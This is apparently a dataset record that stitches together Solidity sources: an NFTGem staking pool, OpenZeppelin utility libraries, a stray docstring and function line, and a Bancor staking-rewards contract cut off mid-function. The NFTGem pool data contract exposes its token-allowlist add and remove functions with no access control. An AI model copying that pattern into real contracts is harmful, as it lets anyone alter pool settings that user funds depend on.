claim has been created emit NFTGemERC20ClaimCreated(msg.sender, address(this), claimHash, maturityTime, erc20token, count, ethereum); // transfer the caller's ERC20 tokens into the pool IERC20(erc20token).transferFrom(msg.sender, address(this), tokenAmount); } /** * @dev collect an open claim (take custody of the funds the claim is redeeemable for and maybe a gem too) */ function collectClaim(uint256 claimHash) external override { // validation checks - disallow if not owner (holds coin with claimHash) // or if the unlockTime amd unlockPaid data is in an invalid state require(IERC1155(_multitoken).balanceOf(msg.sender, claimHash) == 1, "NOT_CLAIM_OWNER"); uint256 unlockTime = claimLockTimestamps[claimHash]; uint256 unlockPaid = claimAmountPaid[claimHash]; require(unlockTime != 0 && unlockPaid > 0, "INVALID_CLAIM"); // grab the erc20 token info if there is any address tokenUsed = claimLockToken[claimHash]; uint256 unlockTokenPaid = claimTokenAmountPaid[claimHash]; // check the maturity of the claim - only issue gem if mature bool isMature = unlockTime < block.timestamp; // burn claim and transfer money back to user INFTGemMultiToken(_multitoken).burn(msg.sender, claimHash, 1); // if they used erc20 tokens stake their claim, return their tokens if (tokenUsed != address(0)) { // calculate fee portion using fee tracker uint256 feePortion = 0; if (isMature == true) { uint256 poolDiv = INFTGemFeeManager(_feeTracker).feeDivisor(address(this)); uint256 divisor = INFTGemFeeManager(_feeTracker).feeDivisor(tokenUsed); uint256 feeNum = poolDiv != divisor ? divisor : poolDiv; feePortion = unlockTokenPaid.div(feeNum); } // assess a fee for minting the NFT. Fee is collectec in fee tracker IERC20(tokenUsed).transferFrom(address(this), _feeTracker, feePortion); // send the principal minus fees to the caller IERC20(tokenUsed).transferFrom(address(this), msg.sender, unlockTokenPaid.sub(feePortion)); // emit an event that the claim was redeemed for ERC20 emit NFTGemERC20ClaimRedeemed( msg.sender, address(this), claimHash, tokenUsed, unlockPaid, unlockTokenPaid, feePortion ); } else { // calculate fee portion using fee tracker uint256 feePortion = 0; if (isMature == true) { uint256 divisor = INFTGemFeeManager(_feeTracker).feeDivisor(address(0)); feePortion = unlockPaid.div(divisor); } // transfer the ETH fee to fee tracker payable(_feeTracker).transfer(feePortion); // transfer the ETH back to user payable(msg.sender).transfer(unlockPaid.sub(feePortion)); // emit an event that the claim was redeemed for ETH emit NFTGemClaimRedeemed(msg.sender, address(this), claimHash, unlockPaid, feePortion); } // deduct the total staked ETH balance of the pool _totalStakedEth = _totalStakedEth.sub(unlockPaid); // if all this is happening before the unlocktime then we exit // without minting a gem because the user is withdrawing early if (!isMature) { return; } // get the next gem hash, increase the staking sifficulty // for the pool, and mint a gem token back to account uint256 nextHash = this.nextGemHash(); // mint the gem INFTGemMultiToken(_multitoken).mint(msg.sender, nextHash, claimQuant[claimHash]); _addToken(nextHash, 2); // maybe mint a governance token INFTGemGovernor(_governor).maybeIssueGovernanceToken(msg.sender); INFTGemGovernor(_governor).issueFuelToken(msg.sender, unlockPaid); // emit an event about a gem getting created emit NFTGemCreated(msg.sender, address(this), claimHash, nextHash, claimQuant[claimHash]); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../libs/SafeMath.sol"; import "../utils/Initializable.sol"; import "../interfaces/INFTGemPoolData.sol"; contract NFTGemPoolData is INFTGemPoolData, Initializable { using SafeMath for uint256; // it all starts with a symbol and a nams string internal _symbol; string internal _name; // magic economy numbers uint256 internal _ethPrice; uint256 internal _minTime; uint256 internal _maxTime; uint256 internal _diffstep; uint256 internal _maxClaims; mapping(uint256 => uint8) internal _tokenTypes; mapping(uint256 => uint256) internal _tokenIds; uint256[] internal _tokenHashes; // next ids of things uint256 internal _nextGemId; uint256 internal _nextClaimId; uint256 internal _totalStakedEth; // records claim timestamp / ETH value / ERC token and amount sent mapping(uint256 => uint256) internal claimLockTimestamps; mapping(uint256 => address) internal claimLockToken; mapping(uint256 => uint256) internal claimAmountPaid; mapping(uint256 => uint256) internal claimQuant; mapping(uint256 => uint256) internal claimTokenAmountPaid; address[] internal _allowedTokens; mapping(address => bool) internal _isAllowedMap; constructor() {} /** * @dev The symbol for this pool / NFT */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev The name for this pool / NFT */ function name() external view override returns (string memory) { return _name; } /** * @dev The ether price for this pool / NFT */ function ethPrice() external view override returns (uint256) { return _ethPrice; } /** * @dev min time to stake in this pool to earn an NFT */ function minTime() external view override returns (uint256) { return _minTime; } /** * @dev max time to stake in this pool to earn an NFT */ function maxTime() external view override returns (uint256) { return _maxTime; } /** * @dev difficulty step increase for this pool. */ function difficultyStep() external view override returns (uint256) { return _diffstep; } /** * @dev max claims that can be made on this NFT */ function maxClaims() external view override returns (uint256) { return _maxClaims; } /** * @dev number of claims made thus far */ function claimedCount() external view override returns (uint256) { return _nextClaimId; } /** * @dev the number of gems minted in this */ function mintedCount() external view override returns (uint256) { return _nextGemId; } /** * @dev the number of gems minted in this */ function totalStakedEth() external view override returns (uint256) { return _totalStakedEth; } /** * @dev get token type of hash - 1 is for claim, 2 is for gem */ function tokenType(uint256 tokenHash) external view override returns (uint8) { return _tokenTypes[tokenHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function tokenId(uint256 tokenHash) external view override returns (uint256) { return _tokenIds[tokenHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function allTokenHashesLength() external view override returns (uint256) { return _tokenHashes.length; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function allTokenHashes(uint256 ndx) external view override returns (uint256) { return _tokenHashes[ndx]; } /** * @dev the external version of the above */ function nextClaimHash() external view override returns (uint256) { return _nextClaimHash(); } /** * @dev the external version of the above */ function nextGemHash() external view override returns (uint256) { return _nextGemHash(); } /** * @dev the external version of the above */ function nextClaimId() external view override returns (uint256) { return _nextClaimId; } /** * @dev the external version of the above */ function nextGemId() external view override returns (uint256) { return _nextGemId; } /** * @dev the external version of the above */ function allowedTokensLength() external view override returns (uint256) { return _allowedTokens.length; } /** * @dev the external version of the above */ function allowedTokens(uint256 idx) external view override returns (address) { return _allowedTokens[idx]; } /** * @dev the external version of the above */ function isTokenAllowed(address token) external view override returns (bool) { return _isAllowedMap[token]; } /** * @dev the external version of the above */ function addAllowedToken(address token) external override { if(!_isAllowedMap[token]) { _allowedTokens.push(token); _isAllowedMap[token] = true; } } /** * @dev the external version of the above */ function removeAllowedToken(address token) external override { if(_isAllowedMap[token]) { for(uint256 i = 0; i < _allowedTokens.length; i++) { if(_allowedTokens[i] == token) { _allowedTokens[i] = _allowedTokens[_allowedTokens.length - 1]; delete _allowedTokens[_allowedTokens.length - 1]; _isAllowedMap[token] = false; return; } } } } /** * @dev the claim amount for the given claim id */ function claimAmount(uint256 claimHash) external view override returns (uint256) { return claimAmountPaid[claimHash]; } /** * @dev the claim quantity (count of gems staked) for the given claim id */ function claimQuantity(uint256 claimHash) external view override returns (uint256) { return claimQuant[claimHash]; } /** * @dev the lock time for this claim. once past lock time a gema is minted */ function claimUnlockTime(uint256 claimHash) external view override returns (uint256) { return claimLockTimestamps[claimHash]; } /** * @dev claim token amount if paid using erc20 */ function claimTokenAmount(uint256 claimHash) external view override returns (uint256) { return claimTokenAmountPaid[claimHash]; } /** * @dev the staked token if staking with erc20 */ function stakedToken(uint256 claimHash) external view override returns (address) { return claimLockToken[claimHash]; } /** * @dev get token id (serial #) of the given token hash. 0 if not a token, 1 if claim, 2 if gem */ function _addToken(uint256 tokenHash, uint8 tt) internal { require(tt == 1 || tt == 2, "INVALID_TOKENTYPE"); _tokenHashes.push(tokenHash); _tokenTypes[tokenHash] = tt; _tokenIds[tokenHash] = tt == 1 ? __nextClaimId() : __nextGemId(); if(tt == 2) { _increaseDifficulty(); } } /** * @dev get the next claim id */ function __nextClaimId() private returns (uint256) { uint256 ncId = _nextClaimId; _nextClaimId = _nextClaimId.add(1); return ncId; } /** * @dev get the next gem id */ function __nextGemId() private returns (uint256) { uint256 ncId = _nextGemId; _nextGemId = _nextGemId.add(1); return ncId; } /** * @dev increase the pool's difficulty by calculating the step increase portion and adding it to the eth price of the market */ function _increaseDifficulty() private { uint256 diffIncrease = _ethPrice.div(_diffstep); _ethPrice = _ethPrice.add(diffIncrease); } /** * @dev the hash of the next gem to be minted */ function _nextGemHash() internal view returns (uint256) { return uint256(keccak256(abi.encodePacked("gem", address(this), _nextGemId))); } /** * @dev the hash of the next claim to be minted */ function _nextClaimHash() internal view returns (uint256) { return (_maxClaims != 0 && _nextClaimId <= _maxClaims) || _maxClaims == 0 ? uint256(keccak256(abi.encodePacked("claim", address(this), _nextClaimId))) : 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } }
the external version of the above/
function nextGemHash() external view override returns (uint256) { return _nextGemHash(); }
11,794,166
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@bancor/token-governance/contracts/ITokenGovernance.sol"; import "../utility/ContractRegistryClient.sol"; import "../utility/Utils.sol"; import "../utility/Time.sol"; import "../utility/interfaces/ICheckpointStore.sol"; import "../token/ReserveToken.sol"; import "../liquidity-protection/interfaces/ILiquidityProtection.sol"; import "./interfaces/IStakingRewards.sol"; /** * @dev This contract manages the distribution of the staking rewards */ contract StakingRewards is IStakingRewards, AccessControl, Time, Utils, ContractRegistryClient { using SafeMath for uint256; using ReserveToken for IReserveToken; using SafeERC20 for IERC20; using SafeERC20Ex for IERC20; // the role is used to globally govern the contract and its governing roles. bytes32 public constant ROLE_SUPERVISOR = keccak256("ROLE_SUPERVISOR"); // the roles is used to restrict who is allowed to publish liquidity protection events. bytes32 public constant ROLE_PUBLISHER = keccak256("ROLE_PUBLISHER"); // the roles is used to restrict who is allowed to update/cache provider rewards. bytes32 public constant ROLE_UPDATER = keccak256("ROLE_UPDATER"); // the weekly 25% increase of the rewards multiplier (in units of PPM). uint32 private constant MULTIPLIER_INCREMENT = PPM_RESOLUTION / 4; // the maximum weekly 200% rewards multiplier (in units of PPM). uint32 private constant MAX_MULTIPLIER = PPM_RESOLUTION + MULTIPLIER_INCREMENT * 4; // the rewards halving factor we need to take into account during the sanity verification process. uint8 private constant REWARDS_HALVING_FACTOR = 4; // since we will be dividing by the total amount of protected tokens in units of wei, we can encounter cases // where the total amount in the denominator is higher than the product of the rewards rate and staking duration. In // order to avoid this imprecision, we will amplify the reward rate by the units amount. uint256 private constant REWARD_RATE_FACTOR = 1e18; uint256 private constant MAX_UINT256 = uint256(-1); // the staking rewards settings. IStakingRewardsStore private immutable _store; // the permissioned wrapper around the network token which should allow this contract to mint staking rewards. ITokenGovernance private immutable _networkTokenGovernance; // the address of the network token. IERC20 private immutable _networkToken; // the checkpoint store recording last protected position removal times. ICheckpointStore private immutable _lastRemoveTimes; /** * @dev initializes a new StakingRewards contract */ constructor( IStakingRewardsStore store, ITokenGovernance networkTokenGovernance, ICheckpointStore lastRemoveTimes, IContractRegistry registry ) public validAddress(address(store)) validAddress(address(networkTokenGovernance)) validAddress(address(lastRemoveTimes)) ContractRegistryClient(registry) { _store = store; _networkTokenGovernance = networkTokenGovernance; _networkToken = networkTokenGovernance.token(); _lastRemoveTimes = lastRemoveTimes; // set up administrative roles. _setRoleAdmin(ROLE_SUPERVISOR, ROLE_SUPERVISOR); _setRoleAdmin(ROLE_PUBLISHER, ROLE_SUPERVISOR); _setRoleAdmin(ROLE_UPDATER, ROLE_SUPERVISOR); // allow the deployer to initially govern the contract. _setupRole(ROLE_SUPERVISOR, _msgSender()); } modifier onlyPublisher() { _onlyPublisher(); _; } function _onlyPublisher() internal view { require(hasRole(ROLE_PUBLISHER, msg.sender), "ERR_ACCESS_DENIED"); } modifier onlyUpdater() { _onlyUpdater(); _; } function _onlyUpdater() internal view { require(hasRole(ROLE_UPDATER, msg.sender), "ERR_ACCESS_DENIED"); } /** * @dev liquidity provision notification callback. The callback should be called *before* the liquidity is added in * the LP contract * * Requirements: * * - the caller must have the ROLE_PUBLISHER role */ function onAddingLiquidity( address provider, IConverterAnchor poolAnchor, IReserveToken reserveToken, uint256, /* poolAmount */ uint256 /* reserveAmount */ ) external override onlyPublisher validExternalAddress(provider) { IDSToken poolToken = IDSToken(address(poolAnchor)); PoolProgram memory program = _poolProgram(poolToken); if (program.startTime == 0) { return; } _updateRewards(provider, poolToken, reserveToken, program, _liquidityProtectionStats()); } /** * @dev liquidity removal callback. The callback must be called *before* the liquidity is removed in the LP * contract * * Requirements: * * - the caller must have the ROLE_PUBLISHER role */ function onRemovingLiquidity( uint256, /* id */ address provider, IConverterAnchor, /* poolAnchor */ IReserveToken, /* reserveToken */ uint256, /* poolAmount */ uint256 /* reserveAmount */ ) external override onlyPublisher validExternalAddress(provider) { ILiquidityProtectionStats lpStats = _liquidityProtectionStats(); // make sure that all pending rewards are properly stored for future claims, with retroactive rewards // multipliers. _storeRewards(provider, lpStats.providerPools(provider), lpStats); } /** * @dev returns the staking rewards store */ function store() external view override returns (IStakingRewardsStore) { return _store; } /** * @dev returns specific provider's pending rewards for all participating pools */ function pendingRewards(address provider) external view override returns (uint256) { return _pendingRewards(provider, _liquidityProtectionStats()); } /** * @dev returns specific provider's pending rewards for a specific participating pool */ function pendingPoolRewards(address provider, IDSToken poolToken) external view override returns (uint256) { return _pendingRewards(provider, poolToken, _liquidityProtectionStats()); } /** * @dev returns specific provider's pending rewards for a specific participating pool/reserve */ function pendingReserveRewards( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view override returns (uint256) { PoolProgram memory program = _poolProgram(poolToken); return _pendingRewards(provider, poolToken, reserveToken, program, _liquidityProtectionStats()); } /** * @dev returns the current rewards multiplier for a provider in a given pool */ function rewardsMultiplier( address provider, IDSToken poolToken, IReserveToken reserveToken ) external view override returns (uint32) { ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken); PoolProgram memory program = _poolProgram(poolToken); return _rewardsMultiplier(provider, providerRewards.effectiveStakingTime, program); } /** * @dev returns specific provider's total claimed rewards from all participating pools */ function totalClaimedRewards(address provider) external view override returns (uint256) { uint256 totalRewards = 0; ILiquidityProtectionStats lpStats = _liquidityProtectionStats(); IDSToken[] memory poolTokens = lpStats.providerPools(provider); for (uint256 i = 0; i < poolTokens.length; ++i) { IDSToken poolToken = poolTokens[i]; PoolProgram memory program = _poolProgram(poolToken); for (uint256 j = 0; j < program.reserveTokens.length; ++j) { IReserveToken reserveToken = program.reserveTokens[j]; ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken); totalRewards = totalRewards.add(providerRewards.totalClaimedRewards); } } return totalRewards; } /** * @dev claims pending rewards from all participating pools */ function claimRewards() external override returns (uint256) { return _claimPendingRewards(msg.sender, _liquidityProtectionStats()); } /** * @dev stakes all pending rewards into another participating pool */ function stakeRewards(uint256 maxAmount, IDSToken newPoolToken) external override returns (uint256, uint256) { return _stakeRewards(msg.sender, maxAmount, newPoolToken, _liquidityProtectionStats()); } /** * @dev stakes specific pending rewards into another participating pool */ function stakeReserveRewards( IDSToken poolToken, IReserveToken reserveToken, uint256 maxAmount, IDSToken newPoolToken ) external override returns (uint256, uint256) { return _stakeRewards(msg.sender, poolToken, reserveToken, maxAmount, newPoolToken, _liquidityProtectionStats()); } /** * @dev store pending rewards for a list of providers in a specific pool for future claims * * Requirements: * * - the caller must have the ROLE_UPDATER role */ function storePoolRewards(address[] calldata providers, IDSToken poolToken) external override onlyUpdater { ILiquidityProtectionStats lpStats = _liquidityProtectionStats(); PoolProgram memory program = _poolProgram(poolToken); for (uint256 i = 0; i < providers.length; ++i) { for (uint256 j = 0; j < program.reserveTokens.length; ++j) { _storeRewards(providers[i], poolToken, program.reserveTokens[j], program, lpStats, false); } } } /** * @dev returns specific provider's pending rewards for all participating pools */ function _pendingRewards(address provider, ILiquidityProtectionStats lpStats) private view returns (uint256) { return _pendingRewards(provider, lpStats.providerPools(provider), lpStats); } /** * @dev returns specific provider's pending rewards for a specific list of participating pools */ function _pendingRewards( address provider, IDSToken[] memory poolTokens, ILiquidityProtectionStats lpStats ) private view returns (uint256) { uint256 reward = 0; uint256 length = poolTokens.length; for (uint256 i = 0; i < length; ++i) { uint256 poolReward = _pendingRewards(provider, poolTokens[i], lpStats); reward = reward.add(poolReward); } return reward; } /** * @dev returns specific provider's pending rewards for a specific pool */ function _pendingRewards( address provider, IDSToken poolToken, ILiquidityProtectionStats lpStats ) private view returns (uint256) { uint256 reward = 0; PoolProgram memory program = _poolProgram(poolToken); for (uint256 i = 0; i < program.reserveTokens.length; ++i) { uint256 reserveReward = _pendingRewards(provider, poolToken, program.reserveTokens[i], program, lpStats); reward = reward.add(reserveReward); } return reward; } /** * @dev returns specific provider's pending rewards for a specific pool/reserve */ function _pendingRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolProgram memory program, ILiquidityProtectionStats lpStats ) private view returns (uint256) { if (!_isProgramValid(reserveToken, program)) { return 0; } // calculate the new reward rate per-token PoolRewards memory poolRewardsData = _poolRewards(poolToken, reserveToken); // rewardPerToken must be calculated with the previous value of lastUpdateTime poolRewardsData.rewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats); poolRewardsData.lastUpdateTime = Math.min(_time(), program.endTime); // update provider's rewards with the newly claimable base rewards and the new reward rate per-token ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken); // if this is the first liquidity provision - set the effective staking time to the current time if ( providerRewards.effectiveStakingTime == 0 && lpStats.totalProviderAmount(provider, poolToken, reserveToken) == 0 ) { providerRewards.effectiveStakingTime = _time(); } // pendingBaseRewards must be calculated with the previous value of providerRewards.rewardPerToken providerRewards.pendingBaseRewards = providerRewards.pendingBaseRewards.add( _baseRewards(provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats) ); providerRewards.rewardPerToken = poolRewardsData.rewardPerToken; // get full rewards and the respective rewards multiplier (uint256 fullReward, ) = _fullRewards( provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats ); return fullReward; } /** * @dev claims specific provider's pending rewards for a specific list of participating pools */ function _claimPendingRewards( address provider, IDSToken[] memory poolTokens, uint256 maxAmount, ILiquidityProtectionStats lpStats, bool resetStakingTime ) private returns (uint256) { uint256 reward = 0; uint256 length = poolTokens.length; for (uint256 i = 0; i < length && maxAmount > 0; ++i) { uint256 poolReward = _claimPendingRewards(provider, poolTokens[i], maxAmount, lpStats, resetStakingTime); reward = reward.add(poolReward); if (maxAmount != MAX_UINT256) { maxAmount = maxAmount.sub(poolReward); } } return reward; } /** * @dev claims specific provider's pending rewards for a specific pool */ function _claimPendingRewards( address provider, IDSToken poolToken, uint256 maxAmount, ILiquidityProtectionStats lpStats, bool resetStakingTime ) private returns (uint256) { uint256 reward = 0; PoolProgram memory program = _poolProgram(poolToken); for (uint256 i = 0; i < program.reserveTokens.length && maxAmount > 0; ++i) { uint256 reserveReward = _claimPendingRewards( provider, poolToken, program.reserveTokens[i], program, maxAmount, lpStats, resetStakingTime ); reward = reward.add(reserveReward); if (maxAmount != MAX_UINT256) { maxAmount = maxAmount.sub(reserveReward); } } return reward; } /** * @dev claims specific provider's pending rewards for a specific pool/reserve */ function _claimPendingRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, PoolProgram memory program, uint256 maxAmount, ILiquidityProtectionStats lpStats, bool resetStakingTime ) private returns (uint256) { // update all provider's pending rewards, in order to apply retroactive reward multipliers (PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards) = _updateRewards( provider, poolToken, reserveToken, program, lpStats ); // get full rewards and the respective rewards multiplier (uint256 fullReward, uint32 multiplier) = _fullRewards( provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats ); // mark any debt as repaid. providerRewards.baseRewardsDebt = 0; providerRewards.baseRewardsDebtMultiplier = 0; if (maxAmount != MAX_UINT256 && fullReward > maxAmount) { // get the amount of the actual base rewards that were claimed providerRewards.baseRewardsDebt = _removeMultiplier(fullReward.sub(maxAmount), multiplier); // store the current multiplier for future retroactive rewards correction providerRewards.baseRewardsDebtMultiplier = multiplier; // grant only maxAmount rewards fullReward = maxAmount; } // update pool rewards data total claimed rewards _store.updatePoolRewardsData( poolToken, reserveToken, poolRewardsData.lastUpdateTime, poolRewardsData.rewardPerToken, poolRewardsData.totalClaimedRewards.add(fullReward) ); // update provider rewards data with the remaining pending rewards and if needed, set the effective // staking time to the timestamp of the current block _store.updateProviderRewardsData( provider, poolToken, reserveToken, providerRewards.rewardPerToken, 0, providerRewards.totalClaimedRewards.add(fullReward), resetStakingTime ? _time() : providerRewards.effectiveStakingTime, providerRewards.baseRewardsDebt, providerRewards.baseRewardsDebtMultiplier ); return fullReward; } /** * @dev claims specific provider's pending rewards from all participating pools */ function _claimPendingRewards(address provider, ILiquidityProtectionStats lpStats) private returns (uint256) { return _claimPendingRewards(provider, lpStats.providerPools(provider), MAX_UINT256, lpStats); } /** * @dev claims specific provider's pending rewards for a specific list of participating pools */ function _claimPendingRewards( address provider, IDSToken[] memory poolTokens, uint256 maxAmount, ILiquidityProtectionStats lpStats ) private returns (uint256) { uint256 amount = _claimPendingRewards(provider, poolTokens, maxAmount, lpStats, true); if (amount == 0) { return amount; } // make sure to update the last claim time so that it'll be taken into effect when calculating the next rewards // multiplier _store.updateProviderLastClaimTime(provider); // mint the reward tokens directly to the provider _networkTokenGovernance.mint(provider, amount); emit RewardsClaimed(provider, amount); return amount; } /** * @dev stakes specific provider's pending rewards from all participating pools */ function _stakeRewards( address provider, uint256 maxAmount, IDSToken poolToken, ILiquidityProtectionStats lpStats ) private returns (uint256, uint256) { return _stakeRewards(provider, lpStats.providerPools(provider), maxAmount, poolToken, lpStats); } /** * @dev claims and stakes specific provider's pending rewards from a specific list of participating pools */ function _stakeRewards( address provider, IDSToken[] memory poolTokens, uint256 maxAmount, IDSToken newPoolToken, ILiquidityProtectionStats lpStats ) private returns (uint256, uint256) { uint256 amount = _claimPendingRewards(provider, poolTokens, maxAmount, lpStats, false); if (amount == 0) { return (amount, 0); } return (amount, _stakeClaimedRewards(amount, provider, newPoolToken)); } /** * @dev claims and stakes specific provider's pending rewards from a specific list of participating pools */ function _stakeRewards( address provider, IDSToken poolToken, IReserveToken reserveToken, uint256 maxAmount, IDSToken newPoolToken, ILiquidityProtectionStats lpStats ) private returns (uint256, uint256) { uint256 amount = _claimPendingRewards( provider, poolToken, reserveToken, _poolProgram(poolToken), maxAmount, lpStats, false ); if (amount == 0) { return (amount, 0); } return (amount, _stakeClaimedRewards(amount, provider, newPoolToken)); } /** * @dev stakes claimed rewards into another participating pool */ function _stakeClaimedRewards( uint256 amount, address provider, IDSToken newPoolToken ) private returns (uint256) { // approve the LiquidityProtection contract to pull the rewards ILiquidityProtection liquidityProtection = _liquidityProtection(); address liquidityProtectionAddress = address(liquidityProtection); _networkToken.ensureApprove(liquidityProtectionAddress, amount); // mint the reward tokens directly to the staking contract, so that the LiquidityProtection could pull the // rewards and attribute them to the provider _networkTokenGovernance.mint(address(this), amount); uint256 newId = liquidityProtection.addLiquidityFor( provider, newPoolToken, IReserveToken(address(_networkToken)), amount ); // please note, that in order to incentivize staking, we won't be updating the time of the last claim, thus // preserving the rewards bonus multiplier emit RewardsStaked(provider, newPoolToken, amount, newId); return newId; } /** * @dev store specific provider's pending rewards for future claims */ function _storeRewards( address provider, IDSToken[] memory poolTokens, ILiquidityProtectionStats lpStats ) private { for (uint256 i = 0; i < poolTokens.length; ++i) { IDSToken poolToken = poolTokens[i]; PoolProgram memory program = _poolProgram(poolToken); for (uint256 j = 0; j < program.reserveTokens.length; ++j) { _storeRewards(provider, poolToken, program.reserveTokens[j], 